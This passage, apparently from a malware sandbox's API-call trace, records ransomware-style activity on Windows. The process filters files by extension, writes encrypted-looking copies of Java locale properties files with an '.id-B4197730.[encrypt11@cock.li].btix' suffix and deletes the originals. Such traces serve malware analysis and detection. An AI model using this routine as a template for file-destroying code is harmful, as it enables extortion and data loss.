returned 68 [0152.253] lstrlenW (lpString=".doc") returned 4 [0152.253] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.253] lstrlenW (lpString=".docx") returned 5 [0152.253] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.253] lstrlenW (lpString=".pdf") returned 4 [0152.254] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString=".xls") returned 4 [0152.254] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString=".xlsx") returned 5 [0152.254] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.254] lstrlenW (lpString=".ppt") returned 4 [0152.254] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.254] lstrlenW (lpString=".zip") returned 4 [0152.254] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString=".rar") returned 4 [0152.254] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString=".bz2") returned 4 [0152.254] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString=".7z") returned 3 [0152.254] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.254] lstrlenW (lpString=".dbf") returned 4 [0152.254] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.254] lstrlenW (lpString=".1cd") returned 4 [0152.254] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.254] lstrlenW (lpString=".jpg") returned 4 [0152.254] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.254] lstrlenW (lpString=".doc") returned 4 [0152.254] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString=".docx") returned 5 [0152.254] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.254] lstrlenW (lpString=".pdf") returned 4 [0152.254] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.254] lstrlenW (lpString=".xls") returned 4 [0152.254] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.255] lstrlenW (lpString=".xlsx") returned 5 [0152.255] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.255] lstrlenW (lpString=".ppt") returned 4 [0152.255] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.255] lstrlenW (lpString=".zip") returned 4 [0152.255] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.255] lstrlenW (lpString=".rar") returned 4 [0152.255] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.255] lstrlenW (lpString=".bz2") returned 4 [0152.255] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.255] lstrlenW (lpString=".7z") returned 3 [0152.255] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.255] lstrlenW (lpString=".dbf") returned 4 [0152.255] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.255] lstrlenW (lpString=".1cd") returned 4 [0152.255] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.255] lstrlenW (lpString=".jpg") returned 4 [0152.255] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.255] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.255] lstrlenW (lpString="messages_it.properties") returned 22 [0152.255] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.255] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=3223) returned 1 [0152.255] CloseHandle (hObject=0x368) returned 1 [0152.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0152.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.256] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.256] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.256] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.256] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.256] GetLastError () returned 0x0 [0152.256] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xc97, lpOverlapped=0x0) returned 1 [0152.257] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xca0, lpOverlapped=0x0) returned 1 [0152.258] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.258] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1 [0152.258] SetEndOfFile (hFile=0x370) returned 1 [0152.258] CloseHandle (hObject=0x370) returned 1 [0152.258] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.258] SetEndOfFile (hFile=0x368) returned 1 [0152.259] CloseHandle (hObject=0x368) returned 1 [0152.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.259] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0152.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.260] lstrlenW (lpString=".doc") returned 4 [0152.260] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString=".docx") returned 5 [0152.260] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.260] lstrlenW (lpString=".pdf") returned 4 [0152.260] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString=".xls") returned 4 [0152.260] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString=".xlsx") returned 5 [0152.260] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.260] lstrlenW (lpString=".ppt") returned 4 [0152.260] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.260] lstrlenW (lpString=".zip") returned 4 [0152.260] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString=".rar") returned 4 [0152.260] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString=".bz2") returned 4 [0152.260] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString=".7z") returned 3 [0152.260] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.260] lstrlenW (lpString=".dbf") returned 4 [0152.260] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.260] lstrlenW (lpString=".1cd") returned 4 [0152.260] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.260] lstrlenW (lpString=".jpg") returned 4 [0152.260] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.261] lstrlenW (lpString=".doc") returned 4 [0152.261] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString=".docx") returned 5 [0152.261] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.261] lstrlenW (lpString=".pdf") returned 4 [0152.261] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString=".xls") returned 4 [0152.261] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString=".xlsx") returned 5 [0152.261] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.261] lstrlenW (lpString=".ppt") returned 4 [0152.261] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.261] lstrlenW (lpString=".zip") returned 4 [0152.261] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString=".rar") returned 4 [0152.261] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString=".bz2") returned 4 [0152.261] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString=".7z") returned 3 [0152.261] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.261] lstrlenW (lpString=".dbf") returned 4 [0152.261] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.261] lstrlenW (lpString=".1cd") returned 4 [0152.261] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0152.261] lstrlenW (lpString=".jpg") returned 4 [0152.261] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.262] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.262] lstrlenW (lpString="messages_ja.properties") returned 22 [0152.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.262] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=6349) returned 1 [0152.262] CloseHandle (hObject=0x368) returned 1 [0152.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0152.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.262] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.262] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.263] GetLastError () returned 0x0 [0152.263] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x18cd, lpOverlapped=0x0) returned 1 [0152.263] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0152.264] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.264] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1 [0152.264] SetEndOfFile (hFile=0x370) returned 1 [0152.264] CloseHandle (hObject=0x370) returned 1 [0152.265] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.265] SetEndOfFile (hFile=0x368) returned 1 [0152.265] CloseHandle (hObject=0x368) returned 1 [0152.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.265] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0152.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.266] lstrlenW (lpString=".doc") returned 4 [0152.266] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString=".docx") returned 5 [0152.266] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.266] lstrlenW (lpString=".pdf") returned 4 [0152.266] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString=".xls") returned 4 [0152.266] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString=".xlsx") returned 5 [0152.266] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.266] lstrlenW (lpString=".ppt") returned 4 [0152.266] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.266] lstrlenW (lpString=".zip") returned 4 [0152.266] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString=".rar") returned 4 [0152.266] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString=".bz2") returned 4 [0152.266] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString=".7z") returned 3 [0152.266] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.266] lstrlenW (lpString=".dbf") returned 4 [0152.266] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.266] lstrlenW (lpString=".1cd") returned 4 [0152.267] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.267] lstrlenW (lpString=".jpg") returned 4 [0152.267] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.267] lstrlenW (lpString=".doc") returned 4 [0152.267] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString=".docx") returned 5 [0152.267] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.267] lstrlenW (lpString=".pdf") returned 4 [0152.267] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString=".xls") returned 4 [0152.267] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString=".xlsx") returned 5 [0152.267] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.267] lstrlenW (lpString=".ppt") returned 4 [0152.267] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.267] lstrlenW (lpString=".zip") returned 4 [0152.267] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString=".rar") returned 4 [0152.267] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString=".bz2") returned 4 [0152.267] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString=".7z") returned 3 [0152.267] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.267] lstrlenW (lpString=".dbf") returned 4 [0152.267] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.267] lstrlenW (lpString=".1cd") returned 4 [0152.267] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0152.267] lstrlenW (lpString=".jpg") returned 4 [0152.268] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.268] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.268] lstrlenW (lpString="messages_ko.properties") returned 22 [0152.268] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.268] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=5712) returned 1 [0152.268] CloseHandle (hObject=0x368) returned 1 [0152.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0152.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.268] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.268] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.268] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.268] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.269] GetLastError () returned 0x0 [0152.269] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x1650, lpOverlapped=0x0) returned 1 [0152.270] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x1660, lpOverlapped=0x0) returned 1 [0152.270] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.270] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1 [0152.271] SetEndOfFile (hFile=0x370) returned 1 [0152.271] CloseHandle (hObject=0x370) returned 1 [0152.271] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.271] SetEndOfFile (hFile=0x368) returned 1 [0152.271] CloseHandle (hObject=0x368) returned 1 [0152.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.272] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0152.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.272] lstrlenW (lpString=".doc") returned 4 [0152.272] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.272] lstrlenW (lpString=".docx") returned 5 [0152.272] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.272] lstrlenW (lpString=".pdf") returned 4 [0152.272] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.272] lstrlenW (lpString=".xls") returned 4 [0152.272] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.272] lstrlenW (lpString=".xlsx") returned 5 [0152.272] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.272] lstrlenW (lpString=".ppt") returned 4 [0152.273] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.273] lstrlenW (lpString=".zip") returned 4 [0152.273] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString=".rar") returned 4 [0152.273] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString=".bz2") returned 4 [0152.273] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString=".7z") returned 3 [0152.273] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 